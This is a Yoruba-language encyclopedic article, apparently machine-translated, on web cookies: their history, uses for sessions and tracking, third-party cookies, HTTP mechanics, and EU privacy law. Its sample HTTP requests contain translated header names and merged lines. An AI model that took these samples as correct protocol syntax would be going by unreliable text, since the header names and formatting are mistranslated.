in ,

Kuki Intanẹẹti: Kini o jẹ? Itumọ, Awọn ipilẹṣẹ, Awọn oriṣi ati Aṣiri

Kini ipa ti kuki, kini o jẹ ati kini iru awọn kuki? 🍪

Kuki Intanẹẹti: Kini o jẹ? Itumọ, Awọn ipilẹṣẹ, Awọn oriṣi ati Aṣiri
Kuki Intanẹẹti: Kini o jẹ? Itumọ, Awọn ipilẹṣẹ, Awọn oriṣi ati Aṣiri

Un kuki tabi kuki wẹẹbu (tabi kukisi, abbreviated bi ẹlẹri ni Quebec) jẹ asọye nipasẹ Ilana ibaraẹnisọrọ HTTP gẹgẹbi ọna ti alaye ti olupin HTTP fi ranṣẹ si alabara HTTP kan, eyiti igbehin yoo pada ni gbogbo igba ti olupin HTTP kanna ti beere labẹ awọn ipo kan.

Kuki naa jẹ deede ti a faili ọrọ kekere ti o fipamọ sori ebute naa ti awọn Internet olumulo. Ti o wa fun diẹ sii ju ọdun 20, wọn gba awọn olupilẹṣẹ aaye laaye lati tọju data olumulo lati le dẹrọ lilọ kiri wọn ati gba awọn iṣẹ ṣiṣe kan laaye. Awọn kuki ti nigbagbogbo jẹ diẹ sii tabi kere si ariyanjiyan nitori wọn ni alaye ti ara ẹni ti o ku ninu ti o le ṣee lo nipasẹ awọn ẹgbẹ kẹta.

O ti firanṣẹ gẹgẹbi akọsori HTTP nipasẹ olupin wẹẹbu si ẹrọ aṣawakiri wẹẹbu ti o da pada lai yipada ni gbogbo igba ti o wọle si olupin naa. A le lo kuki kan si ohun ìfàṣẹsí, igba kan (itọju ipinle), ati fun tọju alaye kan pato nipa olumulo, gẹgẹbi awọn ayanfẹ aaye tabi awọn akoonu ti ẹrọ riraja ẹrọ itanna. Oro kukisi ti wa lati idan kukisi, imọran ti a mọ daradara ni UNIX iširo, eyiti o ṣe atilẹyin imọran ati orukọ awọn kuki aṣàwákiri. Awọn ọna yiyan diẹ si awọn kuki wa, ọkọọkan pẹlu awọn lilo tirẹ, awọn anfani ati awọn alailanfani.

Jije awọn faili ọrọ ti o rọrun, awọn kuki kii ṣe ṣiṣe. Awón kó bẹni spyware tabi awọn virus, biotilejepe cookies lati diẹ ninu awọn ojula ti wa ni ri nipa ọpọlọpọ egboogi-virus software nitori won gba awọn olumulo laaye lati wa ni tọpinpin nigba ti won be ọpọ ojula. 

Pupọ awọn aṣawakiri ode oni gba awọn olumulo laaye lati pinnu boya lati gba tabi kọ cookies. Awọn olumulo le tun yan bi gun cookies ti wa ni ipamọ. Sibẹsibẹ, ijusile pipe ti awọn kuki jẹ ki awọn aaye kan jẹ ki a ko le lo. Fun apẹẹrẹ, tọju awọn rira rira tabi awọn aaye ti o nilo iwọle nipa lilo awọn iwe-ẹri (orukọ olumulo ati ọrọ igbaniwọle).

Awọn akoonu

itan

Oro naa cookies yo lati English igba idan kukisi, eyi ti o jẹ apo-iwe ti data ti eto kan gba ti o si pada ko yipada. A ti lo awọn kuki tẹlẹ ninu IT nigbati Lou Montulli ni imọran lati lo wọn ni awọn ibaraẹnisọrọ wẹẹbu ni Okudu 1994. Ni akoko yẹn, o ti gba iṣẹ nipasẹ Netscape Communications, eyiti o ti ṣe agbekalẹ ohun elo e-commerce kan fun alabara kan. Awọn kuki funni ni ojutu kan si iṣoro ti igbẹkẹle ti imuse rira rira foju itaja kan.

John Giannandrea ati Lou Montulli kowe sipesifikesonu kuki akọkọ Netscape ni ọdun kanna. Ẹya 0.9 beta ti Mosaic Netscape, ti a ṣejade ni Oṣu Kẹwa Ọjọ 13, Ọdun 1994, ṣepọ kukisi ọna ẹrọ (wo ifiweranṣẹ). Lilo awọn kuki akọkọ (ti kii ṣe idanwo) ni lati pinnu boya awọn alejo si oju opo wẹẹbu Netscape ti ṣabẹwo si aaye naa tẹlẹ. Montulli fi ẹsun ohun elo itọsi kan fun imọ-ẹrọ kuki ni ọdun 1995, ati pe itọsi AMẸRIKA 5774670 ti funni. funni ni ọdun 1998.

Lẹhin imuse ni Netscape 0.9 beta ni ọdun 1994, awọn kuki ti ṣepọ si Internet Explorer 2, ti a tu silẹ ni Oṣu Kẹwa Ọdun 1995.

Ifihan awọn kuki ko tii mọ jakejado si gbogbo eniyan. Ni pataki, awọn kuki ni a gba nipasẹ aiyipada ni awọn eto ẹrọ aṣawakiri, ati pe a ko sọ fun awọn olumulo nipa wiwa wọn. Diẹ ninu awọn eniyan ni o mọ nipa aye ti kukisi ni ayika mẹẹdogun akọkọ ti 1995, ṣugbọn gbogboogbo gbogbogbo nikan mu si aye wọn lẹhin Iwe Iroyin Iṣowo ti ṣe atẹjade nkan kan ni Kínní 12, 1996. Ni ọdun kanna, awọn kuki gba akiyesi pupọ ti media akiyesi. nitori ti ṣee ṣe ìpamọ intrusions. Koko-ọrọ awọn kuki ni a jiroro ni awọn ijumọsọrọ meji ti Igbimọ Iṣowo Federal ti Amẹrika ni ọdun 1996 ati 1997.

Idagbasoke sipesifikesonu kuki osise ti wa tẹlẹ. Awọn ijiroro akọkọ ti sipesifikesonu osise waye ni Oṣu Kẹrin ọdun 1995 lori atokọ ifiweranṣẹ www-talk. Ẹgbẹ iṣiṣẹ IETF pataki kan ti ṣẹda. Awọn igbero omiiran meji fun iṣafihan ipinlẹ si awọn iṣowo HTTP ni a dabaa nipasẹ Brian Behlendorf ati David Kristol ni atele, ṣugbọn ẹgbẹ naa, ti Kristol funrararẹ pinnu lati lo sipesifikesonu Netscape bi aaye ibẹrẹ. Ni Kínní 1996, ẹgbẹ ti n ṣiṣẹ pinnu pe awọn kuki ẹnikẹta jẹ irokeke pataki si ikọkọ. Awọn sipesifikesonu yi nipasẹ awọn ẹgbẹ a ti bajẹ atejade bi RFC 2109.

Lati opin 2014, a rii asia kan nipa awọn kuki lori ọpọlọpọ awọn aaye. Nibẹ ni ni o kere kan browser itẹsiwaju ti o fun laaye awọn asia ko han.

Orisi ti kukisi ati ipawo

Isakoso igba

Awọn kuki le ṣee lo lati ṣetọju data olumulo lakoko lilọ kiri, ṣugbọn tun kọja awọn abẹwo lọpọlọpọ. Wọ́n ṣe àwọn kúkì láti pèsè ọ̀nà ìmúlò àwọn kẹ̀kẹ́ ìtajà ẹ̀rọ ìbánisọ̀rọ̀, ẹ̀rọ awòràwọ̀ kan nínú èyí tí aṣàmúlò lè kó àwọn ohun tí ó fẹ́ rà jọ nígbà tí ó bá ń lọ kiri lórí ìkànnì náà.

Awọn ọjọ wọnyi, awọn ohun elo bii awọn rira rira dipo tọju atokọ awọn ohun kan sinu aaye data lori olupin kan, eyiti o dara julọ; ju fifipamọ wọn sinu kuki funrararẹ. Olupin wẹẹbu nfi kuki kan ranṣẹ ti o ni ID igba alailẹgbẹ kan ninu. Ẹrọ aṣawakiri wẹẹbu lẹhinna da ID igba yii pada lori ibeere ti o tẹle kọọkan ati awọn nkan inu agbọn ti wa ni fipamọ ati ni nkan ṣe pẹlu ID igba alailẹgbẹ kanna.

Lilo awọn kuki loorekoore wulo fun wíwọlé sinu aaye kan nipa lilo awọn iwe-ẹri. Ni kukuru, olupin wẹẹbu kọkọ fi kuki kan ranṣẹ ti o ni ID igba alailẹgbẹ kan ninu. Lẹhinna awọn olumulo pese awọn iwe-ẹri wọn (nigbagbogbo orukọ olumulo ati ọrọ igbaniwọle). Ohun elo wẹẹbu lẹhinna jẹri igba ati gba olumulo laaye lati wọle si iṣẹ naa.

àdáni

Awọn kuki le ṣee lo lati ranti alaye nipa olumulo ti aaye kan, lati le ṣafihan akoonu ti o yẹ fun u ni ọjọ iwaju. Fun apẹẹrẹ, olupin wẹẹbu le fi kuki kan ranṣẹ ti o ni orukọ olumulo ti o kẹhin ti a lo lati buwolu wọle si oju opo wẹẹbu yẹn, ki orukọ olumulo le jẹ kikojọ ni awọn abẹwo ọjọ iwaju.

Ọpọlọpọ awọn oju opo wẹẹbu lo awọn kuki fun isọdi ti ara ẹni ti o da lori awọn ayanfẹ olumulo. Awọn olumulo yan awọn ayanfẹ wọn ni fọọmu kan ati fi awọn wọnyi ranṣẹ si olupin naa. Olupin naa ṣe koodu awọn ayanfẹ inu kuki kan ati firanṣẹ pada si ẹrọ aṣawakiri. Lẹhinna, nigbakugba ti olumulo ba wọle si oju-iwe kan ti aaye yii, ẹrọ aṣawakiri naa da kuki naa pada ati nitori naa atokọ awọn ayanfẹ; olupin le lẹhinna ṣe akanṣe oju-iwe ni ibamu si awọn ifẹ olumulo. Fun apẹẹrẹ, oju opo wẹẹbu Wikipedia gba awọn olumulo laaye lati yan awọ ti aaye ti wọn fẹ. Ẹrọ wiwa Google ngbanilaaye awọn olumulo rẹ (paapaa ti wọn ko ba forukọsilẹ) lati yan nọmba awọn abajade ti wọn fẹ lati rii lori oju-iwe abajade kọọkan.

Titele

Awọn kuki titọpa ni a lo lati tọpa awọn aṣa lilọ kiri ayelujara ti awọn olumulo intanẹẹti. Eyi tun le ṣee ṣe ni apakan nipa lilo adiresi IP ti kọnputa ṣiṣe ibeere fun oju-iwe kan tabi nipa lilo akọsori HTTP 'itọkasi' ti alabara firanṣẹ pẹlu gbogbo ibeere, ṣugbọn awọn kuki gba laaye fun pipe to ga julọ. Eyi le ṣee ṣe bi ninu apẹẹrẹ atẹle:

  1. Ti olumulo ba pe oju-iwe kan lori aaye kan, ati pe ibeere naa ko ni kuki ninu, olupin naa dawọle pe eyi ni oju-iwe akọkọ ti olumulo ṣabẹwo. Olupin naa ṣẹda okun laileto ati firanṣẹ si ẹrọ aṣawakiri pẹlu oju-iwe ti o beere.
  2. Lati akoko yii, kuki naa yoo firanṣẹ laifọwọyi nipasẹ ẹrọ aṣawakiri nigbakugba ti oju-iwe tuntun ti aaye naa ba pe. Olupin naa yoo fi oju-iwe naa ranṣẹ bi o ti ṣe deede, ṣugbọn yoo tun wọle URL ti oju-iwe ti a npe ni, ọjọ, akoko ti ibeere ati kuki ni faili log kan.

Nipa wiwo faili log, lẹhinna o ṣee ṣe lati rii iru awọn oju-iwe ti olumulo ti ṣabẹwo ati ni aṣẹ wo. Fun apẹẹrẹ, ti faili naa ba ni awọn ibeere diẹ ti a ṣe nipa lilo kuki id=abc, eyi le fi idi rẹ mulẹ pe gbogbo awọn ibeere wọnyi wa lati ọdọ olumulo kanna. URL ti o beere, ọjọ ati akoko ti o ni nkan ṣe pẹlu awọn ibeere gba laaye lilọ kiri olumulo lati tọpinpin.

Awọn kuki ẹni-kẹta ati awọn beakoni wẹẹbu, ti ṣalaye ni isalẹ, ni afikun jẹ ki ipasẹ kọja awọn aaye oriṣiriṣi. Titele aaye ẹyọkan ni gbogbo igba lo fun awọn idi iṣiro. Ni idakeji, ipasẹ kọja awọn aaye oriṣiriṣi nipa lilo awọn kuki ẹnikẹta ni gbogbogbo lo nipasẹ awọn ile-iṣẹ ipolowo lati ṣe agbejade awọn profaili olumulo ailorukọ (eyiti a lo lati pinnu iru ipolowo wo ni o yẹ ki o han si olumulo ati lati firanṣẹ awọn imeeli ti o baamu si awọn ipolowo wọnyi - SPAM ).

Awọn kuki titele jẹ eewu ti ayabo ti aṣiri olumulo ṣugbọn wọn le paarẹ ni irọrun. Pupọ julọ awọn aṣawakiri ode oni pẹlu aṣayan lati pa awọn kuki ti o tẹpẹlẹ rẹ laifọwọyi nigbati o ba pa ohun elo naa.

Kẹta kukisi

Awọn aworan ati awọn nkan miiran ti o wa ninu oju-iwe wẹẹbu le gbe lori awọn olupin ti o yatọ si eyiti o gbalejo oju-iwe naa. Lati ṣe afihan oju-iwe naa, ẹrọ aṣawakiri ṣe igbasilẹ gbogbo awọn nkan wọnyi. Pupọ awọn oju opo wẹẹbu ni alaye lati awọn orisun oriṣiriṣi. Fun apẹẹrẹ, ti o ba tẹ www.example.com sinu ẹrọ aṣawakiri rẹ, nigbagbogbo awọn nkan tabi awọn ipolowo yoo wa ni apakan oju-iwe ti o wa lati awọn orisun oriṣiriṣi, ie lati agbegbe ti o yatọ ju www. .example.com. Awọn kuki ẹgbẹ “akọkọ” jẹ awọn kuki ti o ṣeto nipasẹ aaye ti a ṣe akojọ si ni ọpa adirẹsi aṣawakiri. Awọn kuki ẹni-kẹta ti ṣeto nipasẹ ọkan ninu awọn nkan oju-iwe ti o wa lati agbegbe oriṣiriṣi.

Nipa aiyipada, awọn aṣawakiri bi Mozilla Firefox, Microsoft Internet Explorer ati Opera gba awọn kuki ẹni-kẹta, ṣugbọn awọn olumulo le yi awọn eto pada ni awọn aṣayan aṣawakiri lati di wọn. Ko si eewu aabo to wa ninu awọn kuki ẹni-kẹta ti o mu iṣẹ ṣiṣe wẹẹbu ṣiṣẹ, sibẹsibẹ wọn tun lo lati tọpa awọn olumulo. lati aaye si aaye.

Awọn irinṣẹ bii Ghostery ti o wa fun gbogbo awọn aṣawakiri pẹlu Google Chrome le di awọn paṣipaarọ laarin awọn ẹgbẹ kẹta.

imuse

Ibaraṣepọ ti o ṣeeṣe laarin ẹrọ aṣawakiri wẹẹbu kan ati olupin ti n gbalejo oju-iwe wẹẹbu naa. Olupin naa fi kuki kan ranṣẹ si ẹrọ aṣawakiri ati ẹrọ aṣawakiri naa firanṣẹ pada nigbati o pe oju-iwe miiran.
Ibaraṣepọ ti o ṣeeṣe laarin ẹrọ aṣawakiri wẹẹbu kan ati olupin ti n gbalejo oju-iwe wẹẹbu naa. Olupin naa fi kuki kan ranṣẹ si ẹrọ aṣawakiri ati ẹrọ aṣawakiri naa firanṣẹ pada nigbati o pe oju-iwe miiran.

Awọn kuki jẹ awọn ege kekere ti data ti olupin wẹẹbu firanṣẹ si ẹrọ aṣawakiri. Ẹrọ aṣawakiri naa da wọn pada laisi iyipada si olupin naa, ṣafihan ipo (iranti awọn iṣẹlẹ ti o kọja) sinu iṣowo HTTP laisi ipinlẹ bibẹẹkọ. Laisi awọn kuki, igbapada kọọkan ti oju-iwe wẹẹbu tabi paati oju-iwe wẹẹbu jẹ iṣẹlẹ ti o ya sọtọ, laisi awọn ibeere miiran ti a ṣe si aaye kanna. Ni afikun si ni anfani lati ṣeto nipasẹ olupin wẹẹbu, awọn kuki tun le ṣeto nipasẹ awọn ede kikọ gẹgẹbi JavaScript, ti o ba ni atilẹyin ati aṣẹ nipasẹ ẹrọ aṣawakiri.

Sipesifikesonu kuki osise ni imọran pe awọn aṣawakiri yẹ ki o ni anfani lati fipamọ ati firanṣẹ nọmba awọn kuki ti o kere ju. Ni pataki, aṣawakiri kan yẹ ki o ni anfani lati fipamọ o kere ju awọn kuki 300 ti awọn kilobytes mẹrin kọọkan, ati pe o kere ju awọn kuki 20 fun olupin kan tabi agbegbe kan.

Ni ibamu si apakan 3.1 ti RFC 2965, Awọn orukọ kuki jẹ aibikita.

Kuki kan le pato ọjọ ti ipari rẹ, ninu ọran ti kuki naa yoo paarẹ ni ọjọ yii. Ti kuki naa ko ba sọ ọjọ ipari kan pato, kuki naa ti paarẹ ni kete ti olumulo ba lọ kuro ni ẹrọ aṣawakiri rẹ. Nitorinaa, sisọ ọjọ ipari jẹ ọna lati jẹ ki kuki naa ye nipasẹ awọn akoko pupọ. Fun idi eyi, awọn kuki pẹlu ọjọ ipari ni a sọ pe o jẹ jubẹẹlo. Ohun elo apẹẹrẹ: aaye ile-itaja kan le lo awọn kuki ti o tẹpẹlẹ lati ṣe igbasilẹ awọn ohun kan ti awọn olumulo ti gbe sinu rira rira wọn (ni otitọ, kuki naa le tọka si titẹsi ti o fipamọ sinu aaye data lori aaye tita, kii ṣe si kọnputa rẹ) . Nipasẹ ọna yii, ti awọn olumulo ba lọ kuro ni ẹrọ aṣawakiri wọn laisi rira ati pada si ọdọ rẹ nigbamii, wọn yoo ni anfani lati wa awọn nkan ti o wa ninu kẹkẹ lẹẹkansi. Ti awọn kuki wọnyi ko ba fun ọjọ ipari, wọn yoo pari nigbati ẹrọ aṣawakiri ti wa ni pipade, ati pe alaye lori awọn akoonu inu agbọn naa yoo sọnu.

Awọn kuki le ni opin ni iwọn si agbegbe kan pato, subdomain tabi ọna lori olupin ti o ṣẹda wọn.

Gbigbe awọn oju-iwe wẹẹbu ni a ṣe nipa lilo Ilana Gbigbe HyperText (HTTP). Nipa aibikita awọn kuki, awọn aṣawakiri n pe oju-iwe kan lati ọdọ awọn olupin wẹẹbu nipa fifiranṣẹ ni gbogbogbo ọrọ kukuru kan ti a pe HTTP ìbéèrè. Fun apẹẹrẹ, lati wọle si oju-iwe www.example.org/index.html, awọn aṣawakiri sopọ mọ olupin www.example.org ati firanṣẹ ibeere kan ti o dabi eleyi:

GET /index.html HTTP/1.1Ogun: www.example.org
Navigatorserveur

Olupin naa dahun nipa fifiranṣẹ oju-iwe ti o beere, ṣaju ọrọ ti o jọra, gbogbo ni a pe Idahun HTTP. Pakẹti yii le ni awọn laini ti ntọṣẹ ẹrọ aṣawakiri lati fipamọ awọn kuki ninu:

HTTP/1.1 200 OKContent-type: text/htmlSet-Cookie: name=iye
(Ojúewé HTML)
Navigatorserveur

Olupin naa nfi laini Ṣeto Kuki nikan ranṣẹ, ti olupin naa ba fẹ ki ẹrọ aṣawakiri lati fipamọ kuki kan. Set-Cookie jẹ ibeere fun ẹrọ aṣawakiri lati fipamọ orukọ = okun iye ati da pada ni gbogbo awọn ibeere iwaju si olupin naa. Ti ẹrọ aṣawakiri ba ṣe atilẹyin awọn kuki ati awọn kuki ti ṣiṣẹ ni awọn aṣayan ẹrọ aṣawakiri, kuki naa yoo wa ninu gbogbo awọn ibeere ti o tẹle si olupin kanna. Fun apẹẹrẹ, ẹrọ aṣawakiri n pe oju-iwe naa www.example.org/news.html nipa fifiranṣẹ ibeere atẹle yii si olupin www.example.org:

GET /news.html HTTP/1.1Olulejo: www.example.orgCookie: orukọ=iyeGba: */*
Navigatorserveur

Eyi jẹ ibeere fun oju-iwe miiran lati ọdọ olupin kanna, ati pe o yatọ si akọkọ loke nitori pe o ni okun kan ti olupin ti firanṣẹ tẹlẹ si ẹrọ aṣawakiri naa. Ṣeun si eyi tumọ si, olupin naa mọ pe ibeere yii ni asopọ si ti iṣaaju. Olupin naa dahun nipa fifiranṣẹ oju-iwe ti a pe, ati paapaa nipa fifi awọn kuki miiran kun si.

Iye kuki naa le yipada nipasẹ olupin nipasẹ fifiranṣẹ laini titun Ṣeto-Kukisi: name= new_value ni idahun si oju-iwe ti a pe. Ẹrọ aṣawakiri lẹhinna rọpo iye atijọ pẹlu tuntun.

Laini Set-Cookie ni a ṣẹda nigbagbogbo nipasẹ eto CGI tabi ede kikọ miiran, kii ṣe nipasẹ olupin HTTP. Olupin HTTP (apẹẹrẹ: Apache) yoo gbe abajade eto naa nikan (iwe ti o ṣaju pẹlu akọsori ti o ni awọn kuki) si ẹrọ aṣawakiri.

Awọn kuki tun le ṣeto nipasẹ JavaScript tabi awọn ede miiran ti o jọra ti n ṣiṣẹ ni ẹrọ aṣawakiri, ie ni ẹgbẹ alabara ju ẹgbẹ olupin lọ. Ni JavaScript, ohun elo document.cookie ni a lo fun idi eyi. Fun apẹẹrẹ, iwe alaye naa document.cookie = "otutu=20" ṣẹda kuki kan ti a npè ni "iwọn otutu" ati pẹlu iye ti 20.

Apẹẹrẹ ti idahun HTTP lati google.com, eyiti o ṣeto kuki kan pẹlu awọn abuda.
Apẹẹrẹ ti idahun HTTP lati google.com, eyiti o ṣeto kuki kan pẹlu awọn abuda.

Ni afikun si orukọ/ orisii iye, kuki kan tun le ni ọjọ ipari, ọna kan, orukọ ìkápá kan ati iru asopọ ti a pinnu, ie deede tabi ti paroko. RFC 2965 tun n ṣalaye pe awọn kuki gbọdọ ni nọmba ẹya ti o jẹ dandan, ṣugbọn eyi ti yọkuro ni gbogbogbo. Awọn ẹya data wọnyi tẹle orukọ = new_value bata ati pe a yapa nipasẹ awọn abọ-ẹgbẹ. Fun apẹẹrẹ, kuki kan le ṣẹda nipasẹ olupin nipasẹ fifiranṣẹ laini Ṣeto-Cookie: name=new_value; dopin=ọjọ; ona=/; domain=.example.org.

Awọn kuki pari ati lẹhinna ko firanṣẹ nipasẹ ẹrọ aṣawakiri si olupin ni awọn ipo wọnyi:

  • Nigbati ẹrọ aṣawakiri ti wa ni pipade, ti kuki naa ko ba duro.
  • Nigbati ọjọ ipari kuki naa ti kọja.
  • Nigbati ọjọ ipari kuki ba yipada (nipasẹ olupin tabi iwe afọwọkọ) si ọjọ kan ti o ti kọja.
  • Nigbati ẹrọ aṣawakiri ba npa kuki rẹ kuro ni ibeere ti olumulo.

Ipo kẹta ngbanilaaye awọn olupin tabi awọn iwe afọwọkọ lati paarẹ kuki kan ni gbangba. Ṣe akiyesi pe o ṣee ṣe pẹlu ẹrọ aṣawakiri wẹẹbu Google Chrome lati mọ ọjọ ipari ti kuki kan pato nipa iwọle si awọn eto akoonu. Kukisi ti o fipamọ sori kọnputa le wa nibe daradara fun ọpọlọpọ awọn ọdun ti ko ba ṣe ilana lati pa a rẹ.

Awọn iṣesi

Niwon ifihan wọn lori Intanẹẹti, ọpọlọpọ awọn imọran nipa awọn kuki ti tan kaakiri lori Intanẹẹti ati ni awọn media. Ni ọdun 1998, CIAC, Ẹgbẹ Abojuto iṣẹlẹ ti Kọmputa Ẹka Agbara ti Amẹrika, pinnu pe awọn ailagbara aabo kuki “ko si ni pataki” o si ṣalaye pe “alaye lori ipilẹṣẹ awọn abẹwo rẹ ati awọn alaye ti awọn oju-iwe wẹẹbu ti o ti ṣabẹwo si. ti wa tẹlẹ ninu awọn faili log ti awọn olupin wẹẹbu”. Ni ọdun 2005, Iwadi Jupiter ṣe atẹjade awọn abajade iwadii kan, ninu eyiti ipin pataki ti awọn oludahun ṣe akiyesi awọn alaye wọnyi:

  • Awọn kuki jẹ bi kokoro, nwọn infect awọn olumulo 'lile drives.
  • Awọn kuki ṣe ipilẹṣẹ gbe jade.
  • Awọn kuki ni a lo lati firanṣẹ spam.
  • Awọn kuki ni a lo fun ipolowo nikan.

Awọn kuki ko le parẹ tabi ka alaye lati kọnputa olumulo. Sibẹsibẹ, awọn kuki jẹ ki o ṣee ṣe lati ṣawari awọn oju-iwe wẹẹbu ti olumulo kan ṣabẹwo si lori aaye ti a fun tabi ṣeto awọn aaye. Alaye yii le jẹ gbigba ni profaili olumulo ti o le ṣee lo tabi tun ta si awọn ẹgbẹ kẹta, eyiti o le fa awọn ọran ikọkọ pataki. Diẹ ninu awọn profaili jẹ ailorukọ, ni ori pe wọn ko ni alaye ti ara ẹni ninu, sibẹsibẹ paapaa iru awọn profaili le jẹ ibeere.

Gẹgẹbi iwadi kanna, ipin nla ti awọn olumulo Intanẹẹti ko mọ bi a ṣe le pa awọn kuki rẹ kuro. Ọkan ninu awọn idi ti eniyan ko gbẹkẹle awọn kuki ni pe diẹ ninu awọn aaye ti ṣe ilokulo abala idamo ti awọn kuki ati pinpin alaye yii pẹlu awọn orisun miiran. Iwọn nla ti ipolowo ifọkansi ati imeeli ti a ko beere, ti a kà si àwúrúju, wa lati alaye ti a ṣajọ lati awọn kuki titọpa.

Awọn eto aṣawakiri

Pupọ julọ awọn aṣawakiri ṣe atilẹyin awọn kuki ati gba olumulo laaye lati mu wọn kuro. Awọn aṣayan ti o wọpọ julọ ni:

  • Mu ṣiṣẹ tabi mu awọn kuki ṣiṣẹ patapata, ki wọn jẹ itẹwọgba nigbagbogbo tabi dina.
  • Gba olumulo laaye lati wo awọn kuki ti nṣiṣe lọwọ ni oju-iwe ti a fun, nipa titẹ JavaScript: alert(document.cookie) ninu ọpa adirẹsi ẹrọ aṣawakiri naa. Diẹ ninu awọn aṣawakiri kan ṣafikun oluṣakoso kuki fun olumulo ti o le wo ati yiyan paarẹ awọn kuki ti o fipamọ lọwọlọwọ nipasẹ aṣawakiri.

Pupọ julọ awọn aṣawakiri tun gba piparẹ ni kikun data ti ara ẹni eyiti o pẹlu awọn kuki. Awọn afikun awọn modulu lati ṣakoso awọn igbanilaaye kuki tun wa.

Asiri ati Awọn kuki ẹni-kẹta

Ninu apẹẹrẹ itanjẹ yii, ile-iṣẹ ipolowo kan ti gbe awọn asia sori awọn oju opo wẹẹbu meji. Nipa gbigbalejo awọn asia lori olupin rẹ ati lilo awọn kuki ẹnikẹta, ile-iṣẹ ipolowo ni anfani lati tọpa lilọ kiri olumulo nipasẹ awọn aaye meji wọnyi.

Awọn kuki ni awọn ipa pataki fun aṣiri ati ailorukọ ti awọn olumulo wẹẹbu. Botilẹjẹpe awọn kuki nikan ni a firanṣẹ pada si olupin ti o ṣeto wọn tabi si olupin ti o jẹ ti agbegbe Intanẹẹti kanna, oju-iwe wẹẹbu le ni awọn aworan tabi awọn paati miiran ti o fipamọ sori olupin ti o jẹ ti awọn ibugbe miiran. Awọn kuki ti o ṣeto lakoko imularada ti awọn paati ita wọnyi ni a pe kẹta cookies. Eyi pẹlu awọn kuki lati awọn window agbejade ti aifẹ.

Awọn ile-iṣẹ ipolowo lo awọn kuki ẹnikẹta lati tọpa awọn olumulo kọja awọn aaye oriṣiriṣi ti wọn ṣabẹwo. Ni pataki, ile-iṣẹ ipolowo le tọpa olumulo kan kọja gbogbo awọn oju-iwe nibiti o ti gbe awọn aworan ipolowo tabi ẹbun ipasẹ kan. Imọ ti awọn oju-iwe ti olumulo ṣabẹwo si gba ile-iṣẹ ipolowo laaye lati fojusi awọn ayanfẹ ipolowo olumulo.

Agbara lati kọ profaili olumulo kan ni a gba nipasẹ diẹ ninu lati jẹ ikọlu aṣiri, paapaa nigbati titele ba ṣe ni awọn agbegbe oriṣiriṣi nipa lilo awọn kuki ẹnikẹta. Fun idi eyi, diẹ ninu awọn orilẹ-ede ni ofin kuki.

Ijọba Amẹrika ṣe imuse awọn ofin ti o muna lori gbigbe awọn kuki ni ọdun 2000, lẹhin ti o ti ṣafihan pe Ọfiisi Afihan Oògùn White House nlo awọn kuki lati tọpa awọn kọnputa ti awọn olumulo ti n wo awọn ipolowo oogun ori ayelujara. Ni ọdun 2002, aṣiwadi Daniel Brandt ṣe awari pe CIA fi awọn kuki alaigbagbọ silẹ lori awọn kọnputa ti o ṣabẹwo si awọn oju opo wẹẹbu rẹ. Ni kete ti a ti sọ fun irufin yii, CIA ṣalaye pe wọn ko fi awọn kuki wọnyi ranṣẹ ati pe o dẹkun ṣiṣeto wọn. Ni Oṣu Kejila ọjọ 25, Ọdun 2005, Brandt ṣe awari pe Ile-iṣẹ Aabo Orilẹ-ede (NSA) ti fi kukisi meji ti o tẹpẹlẹ silẹ lori awọn kọnputa awọn alejo nitori imudojuiwọn sọfitiwia kan. Lẹhin ifitonileti, NSA pa awọn kuki alaabo lẹsẹkẹsẹ.

Ni United Kingdom, awọn Ofin kukisi “, ti o ti ṣiṣẹ ni Oṣu Karun ọjọ 25, ọdun 2012, jẹ dandan fun awọn aaye lati sọ awọn ero wọn, nitorinaa ngbanilaaye awọn olumulo lati yan boya wọn fẹ fi awọn itọpa silẹ tabi kii ṣe ọna gbigbe wọn lori Intanẹẹti. Wọn le nitorina ni aabo lati ibi-afẹde ipolowo. Sibẹsibẹ, gẹgẹ bi The Guardian, igbanilaaye ti awọn olumulo Intanẹẹti kii ṣe fojuhan dandan; awọn ayipada ti a ti ṣe si awọn ofin ti olumulo ase, ṣiṣe awọn ti o bayi tumọ si.

Ilana 2002/58 lori ikọkọ

Ilana 202/58 ikọkọ ati awọn ibaraẹnisọrọ itanna, ni awọn ofin ninu lilo awọn kuki. Ni pataki, nkan 5, paragirafi 3 ti itọsọna yii nilo pe ibi ipamọ data (bii awọn kuki) ninu kọnputa olumulo le ṣee ṣe nikan ti:

  • a ti sọ fun olumulo nipa bi a ṣe lo data naa;
  • a fun olumulo ni aṣayan ti kiko iṣẹ ipamọ yii. Sibẹsibẹ, nkan yii tun sọ pe ibi ipamọ data fun awọn idi imọ-ẹrọ jẹ alayokuro lati ofin yii.

Nitori imuse lati Oṣu Kẹwa Ọdun 2003, itọsọna naa sibẹsibẹ ni aibikita pupọ nikan ti a fi sinu iṣe ni ibamu si ijabọ kan ti Oṣu kejila ọdun 2004, eyiti o tun tọka si pe awọn Orilẹ-ede ọmọ ẹgbẹ kan (Slovakia, Latvia, Greece, Bẹljiọmu ati Luxembourg) ko tii gbejade ilana naa. itọsọna sinu ofin abele.

Gẹgẹbi ero ti G29 ni ọdun 2010, itọsọna yii, eyiti o ni pataki awọn ipo lilo awọn kuki fun awọn idi ipolowo ihuwasi, lori ifọkansi ti o fojuhan ti olumulo Intanẹẹti wa ni lilo ti ko dara. Ni otitọ, ọpọlọpọ awọn aaye ṣe bẹ ni ọna ti ko ni ibamu pẹlu itọsọna naa, nipa didi ara wọn si “ọpa-apaa” ti o rọrun fun lilo “awọn kuki” laisi fifun alaye lori awọn lilo, laisi iyatọ laarin awọn kuki “imọ-ẹrọ”. Kukisi “titọpa”, tabi lati funni ni yiyan gidi si olumulo ti nfẹ lati ṣetọju awọn kuki imọ-ẹrọ (gẹgẹbi awọn kuki iṣakoso rira rira) ati kọ awọn kuki “titọpa”. Ni otitọ, ọpọlọpọ awọn aaye ko ṣiṣẹ ni deede ti o ba kọ awọn kuki, eyiti ko ni ibamu pẹlu itọsọna 2002/58 tabi itọsọna 95/46 (Idaabobo data ti ara ẹni).

Ilana 2009/136/CE

